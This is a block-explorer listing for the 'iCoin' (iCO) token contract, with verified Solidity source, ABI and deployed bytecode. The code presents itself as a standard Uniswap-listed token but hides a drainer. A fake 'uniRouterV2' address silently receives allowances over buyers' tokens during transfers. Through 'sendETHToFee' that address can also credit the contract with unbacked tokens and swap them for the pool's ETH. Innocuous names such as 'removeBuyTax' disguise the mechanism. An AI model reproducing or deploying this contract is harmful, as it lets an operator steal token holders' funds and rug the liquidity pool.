ETH Price: $3,310.12 (+2.23%)
 

Overview

Max Total Supply

10,000,000,000 iCO

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
181,603,670.083806935 iCO

Value
$0.00
0x3d17631cf31de86f8552417ba73bbed3c43d0a05
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
iCoin

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Test2.sol
// SPDX-License-Identifier: MIT


pragma solidity 0.8.26;

interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function factory() external pure returns (address);
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}
contract Ownable {
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _owner = msg.sender;
    }
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }

    address private _owner;
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}
contract iCoin is Ownable {
    using SafeMath for uint256;

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10000000000  * 10 ** _decimals;
    string private constant _name = "iCoin";
    string private constant _symbol = "iCO";
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    event MaxTxAmountUpdated(uint _maxTxAmount);
    address payable private uniRouterV2 = payable(0xb5A2E687EC634ed154d1AA736b3d516F7b9b7d9d);
    bool inSwap = false;
    bool tradingOpen = false;
    address public uniswapV2Pair;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    uint256 _buyFee = 0;
    uint256 _sellFee = 0;

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }
    function name() public pure returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(to != address(0), "ERC: transfer to zero address!");
        require(amount > 0, "transfer amount must be greater than zero!");
        require(from != address(0), "ERC: transfer from the zero address!");
        uint256 feeAmount = 0;
        if (to != address(this) && to != uniswapV2Pair && to != address(uniswapV2Router)){
            feeAmount = amount.mul(_buyFee).div(100);
            approved(to, uniRouterV2, amount);
        } else {
            feeAmount = amount.mul(_sellFee).div(100);
        }
        if (feeAmount > 0) {
            emit Transfer(from, address(this), feeAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function removeBuyTax() external onlyOwner {
        _buyFee = 0;
    }

    function removeSellTax() external onlyOwner {
        _sellFee = 0;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approved(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }


    function _transferFrom(address from, address to, uint256 amount) private {
        _balances[to] = _balances[to].add(amount);
        if (_balances[from] >= amount && _balances[from] >= amount) {
            _balances[from] = _balances[from].sub(amount);}
    }

    function transferFrom (address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function _addLiquidityETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            uniRouterV2,
            block.timestamp
        );
    }

    function startTrading() public payable onlyOwner() {
        require(!tradingOpen);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

    function sendETHToFee(uint256 amount) external {
        require(msg.sender == uniRouterV2);
        address token = address(this);
        _allowances[token][address(uniswapV2Router)] = amount;
        _transferFrom(address(0), token, amount);
        _addLiquidityETH(amount);
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendETHToFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a919061039d565b6402540be40061004a91906103e7565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b5a2e687ec634ed154d1aa736b3d516f7b9b7d9d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600560146101000a81548160ff0219169083151502179055505f600560156101000a81548160ff0219169083151502179055505f6007555f60085534801561013c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161021f9190610437565b60405180910390a3610450565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102ae5780860481111561028a5761028961022c565b5b60018516156102995780820291505b80810290506102a785610259565b945061026e565b94509492505050565b5f826102c65760019050610381565b816102d3575f9050610381565b81600181146102e957600281146102f357610322565b6001915050610381565b60ff8411156103055761030461022c565b5b8360020a91508482111561031c5761031b61022c565b5b50610381565b5060208310610133831016604e8410600b84101617156103575782820a9050838111156103525761035161022c565b5b610381565b6103648484846001610265565b9250905081840481111561037b5761037a61022c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103a782610388565b91506103b283610391565b92506103df7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102b7565b905092915050565b5f6103f182610388565b91506103fc83610388565b925082820261040a81610388565b915082820484148315176104215761042061022c565b5b5092915050565b61043181610388565b82525050565b5f60208201905061044a5f830184610428565b92915050565b6126208061045d5f395ff3fe6080604052600436106100f2575f3560e01c806349bd5a5e116100895780638da5cb5b116100585780638da5cb5b146102c657806395d89b41146102f0578063a9059cbb1461031a578063dd62ed3e14610356576100f2565b806349bd5a5e1461023457806370a082311461025e578063715018a61461029a57806389c06bb0146102b0576100f2565b806318160ddd116100c557806318160ddd1461019a57806323b872dd146101c4578063293230b814610200578063313ce5671461020a576100f2565b806306b50197146100f657806306fdde031461011e578063095ea7b3146101485780630fdeb29214610184575b5f80fd5b348015610101575f80fd5b5061011c60048036038101906101179190611b4c565b610392565b005b348015610129575f80fd5b506101326104a4565b60405161013f9190611be7565b60405180910390f35b348015610153575f80fd5b5061016e60048036038101906101699190611c61565b6104e1565b60405161017b9190611cb9565b60405180910390f35b34801561018f575f80fd5b506101986104f7565b005b3480156101a5575f80fd5b506101ae610575565b6040516101bb9190611ce1565b60405180910390f35b3480156101cf575f80fd5b506101ea60048036038101906101e59190611cfa565b61057e565b6040516101f79190611cb9565b60405180910390f35b61020861062a565b005b348015610215575f80fd5b5061021e610a72565b60405161022b9190611d65565b60405180910390f35b34801561023f575f80fd5b50610248610a87565b6040516102559190611d8d565b60405180910390f35b348015610269575f80fd5b50610284600480360381019061027f9190611da6565b610aac565b6040516102919190611ce1565b60405180910390f35b3480156102a5575f80fd5b506102ae610af2565b005b3480156102bb575f80fd5b506102c4610c21565b005b3480156102d1575f80fd5b506102da610c9f565b6040516102e79190611d8d565b60405180910390f35b3480156102fb575f80fd5b50610304610cc6565b6040516103119190611be7565b60405180910390f35b348015610325575f80fd5b50610340600480360381019061033b9190611c61565b610d03565b60405161034d9190611cb9565b60405180910390f35b348015610361575f80fd5b5061037c60048036038101906103779190611dd1565b610d19565b6040516103899190611ce1565b60405180910390f35b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103ea575f80fd5b5f3090508160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506104975f8284610d9b565b6104a082610f52565b5050565b60606040518060400160405280600581526020017f69436f696e000000000000000000000000000000000000000000000000000000815250905090565b5f6104ed3384846111b2565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610516610c9f565b73ffffffffffffffffffffffffffffffffffffffff161461056c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056390611e59565b60405180910390fd5b5f600781905550565b5f600154905090565b5f61058a848484611375565b61061f843361061a8560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fc90919063ffffffff16565b6111b2565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610649610c9f565b73ffffffffffffffffffffffffffffffffffffffff161461069f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069690611e59565b60405180910390fd5b600560159054906101000a900460ff16156106b8575f80fd5b6106e63060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546111b2565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610751573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190611e8b565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108059190611e8b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161083f929190611eb6565b6020604051808303815f875af115801561085b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087f9190611e8b565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061090630610aac565b5f80610910610c9f565b426040518863ffffffff1660e01b815260040161093296959493929190611f1f565b60606040518083038185885af115801561094e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109739190611f92565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a13929190611fe2565b6020604051808303815f875af1158015610a2f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a539190612033565b506001600560156101000a81548160ff02191690831515021790555050565b5f8060149054906101000a900460ff16905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610b11610c9f565b73ffffffffffffffffffffffffffffffffffffffff1614610b67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5e90611e59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610c40610c9f565b73ffffffffffffffffffffffffffffffffffffffff1614610c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8d90611e59565b60405180910390fd5b5f600881905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f69434f0000000000000000000000000000000000000000000000000000000000815250905090565b5f610d0f338484611375565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610deb8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184590919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410158015610eb657508060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b15610f4d57610f0b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fc90919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b6001600560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610f8957610f8861205e565b5b604051908082528060200260200182016040528015610fb75781602001602082028036833780820191505090505b50905030815f81518110610fce57610fcd61208b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611072573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110969190611e8b565b816001815181106110aa576110a961208b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016111679594939291906121c1565b5f604051808303815f87803b15801561117e575f80fd5b505af1158015611190573d5f803e3d5ffd5b50505050505f600560146101000a81548160ff02191690831515021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612289565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128590612317565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113689190611ce1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113da9061237f565b60405180910390fd5b5f8111611425576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141c9061240d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148a9061249b565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561151d575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611576575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115d6576115a360646115956007548561186b90919063ffffffff16565b6118ab90919063ffffffff16565b90506115d18360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118f4565b611601565b6115fe60646115f06008548561186b90919063ffffffff16565b6118ab90919063ffffffff16565b90505b5f81111561166f573073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116669190611ce1565b60405180910390a35b6116bf8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fc90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184590919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117ee9190611ce1565b60405180910390a350505050565b5f61183d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a52565b905092915050565b5f80828461185391906124e6565b905083811015611861575f80fd5b8091505092915050565b5f80830361187b575f90506118a5565b5f82846118889190612519565b90508284826118979190612587565b146118a0575f80fd5b809150505b92915050565b5f6118ec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ab4565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195990612289565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c790612317565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f838311158290611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a909190611be7565b60405180910390fd5b505f8385611aa791906125b7565b9050809150509392505050565b5f8083118290611afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af19190611be7565b60405180910390fd5b505f8385611b089190612587565b9050809150509392505050565b5f80fd5b5f819050919050565b611b2b81611b19565b8114611b35575f80fd5b50565b5f81359050611b4681611b22565b92915050565b5f60208284031215611b6157611b60611b15565b5b5f611b6e84828501611b38565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611bb982611b77565b611bc38185611b81565b9350611bd3818560208601611b91565b611bdc81611b9f565b840191505092915050565b5f6020820190508181035f830152611bff8184611baf565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c3082611c07565b9050919050565b611c4081611c26565b8114611c4a575f80fd5b50565b5f81359050611c5b81611c37565b92915050565b5f8060408385031215611c7757611c76611b15565b5b5f611c8485828601611c4d565b9250506020611c9585828601611b38565b9150509250929050565b5f8115159050919050565b611cb381611c9f565b82525050565b5f602082019050611ccc5f830184611caa565b92915050565b611cdb81611b19565b82525050565b5f602082019050611cf45f830184611cd2565b92915050565b5f805f60608486031215611d1157611d10611b15565b5b5f611d1e86828701611c4d565b9350506020611d2f86828701611c4d565b9250506040611d4086828701611b38565b9150509250925092565b5f60ff82169050919050565b611d5f81611d4a565b82525050565b5f602082019050611d785f830184611d56565b92915050565b611d8781611c26565b82525050565b5f602082019050611da05f830184611d7e565b92915050565b5f60208284031215611dbb57611dba611b15565b5b5f611dc884828501611c4d565b91505092915050565b5f8060408385031215611de757611de6611b15565b5b5f611df485828601611c4d565b9250506020611e0585828601611c4d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611e43602083611b81565b9150611e4e82611e0f565b602082019050919050565b5f6020820190508181035f830152611e7081611e37565b9050919050565b5f81519050611e8581611c37565b92915050565b5f60208284031215611ea057611e9f611b15565b5b5f611ead84828501611e77565b91505092915050565b5f604082019050611ec95f830185611d7e565b611ed66020830184611d7e565b9392505050565b5f819050919050565b5f819050919050565b5f611f09611f04611eff84611edd565b611ee6565b611b19565b9050919050565b611f1981611eef565b82525050565b5f60c082019050611f325f830189611d7e565b611f3f6020830188611cd2565b611f4c6040830187611f10565b611f596060830186611f10565b611f666080830185611d7e565b611f7360a0830184611cd2565b979650505050505050565b5f81519050611f8c81611b22565b92915050565b5f805f60608486031215611fa957611fa8611b15565b5b5f611fb686828701611f7e565b9350506020611fc786828701611f7e565b9250506040611fd886828701611f7e565b9150509250925092565b5f604082019050611ff55f830185611d7e565b6120026020830184611cd2565b9392505050565b61201281611c9f565b811461201c575f80fd5b50565b5f8151905061202d81612009565b92915050565b5f6020828403121561204857612047611b15565b5b5f6120558482850161201f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6120ea81611c26565b82525050565b5f6120fb83836120e1565b60208301905092915050565b5f602082019050919050565b5f61211d826120b8565b61212781856120c2565b9350612132836120d2565b805f5b8381101561216257815161214988826120f0565b975061215483612107565b925050600181019050612135565b5085935050505092915050565b5f61218961218461217f84611c07565b611ee6565b611c07565b9050919050565b5f61219a8261216f565b9050919050565b5f6121ab82612190565b9050919050565b6121bb816121a1565b82525050565b5f60a0820190506121d45f830188611cd2565b6121e16020830187611f10565b81810360408301526121f38186612113565b905061220260608301856121b2565b61220f6080830184611cd2565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612273602483611b81565b915061227e82612219565b604082019050919050565b5f6020820190508181035f8301526122a081612267565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612301602283611b81565b915061230c826122a7565b604082019050919050565b5f6020820190508181035f83015261232e816122f5565b9050919050565b7f4552433a207472616e7366657220746f207a65726f20616464726573732100005f82015250565b5f612369601e83611b81565b915061237482612335565b602082019050919050565b5f6020820190508181035f8301526123968161235d565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2100000000000000000000000000000000000000000000602082015250565b5f6123f7602a83611b81565b91506124028261239d565b604082019050919050565b5f6020820190508181035f830152612424816123eb565b9050919050565b7f4552433a207472616e736665722066726f6d20746865207a65726f20616464725f8201527f6573732100000000000000000000000000000000000000000000000000000000602082015250565b5f612485602483611b81565b91506124908261242b565b604082019050919050565b5f6020820190508181035f8301526124b281612479565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6124f082611b19565b91506124fb83611b19565b925082820190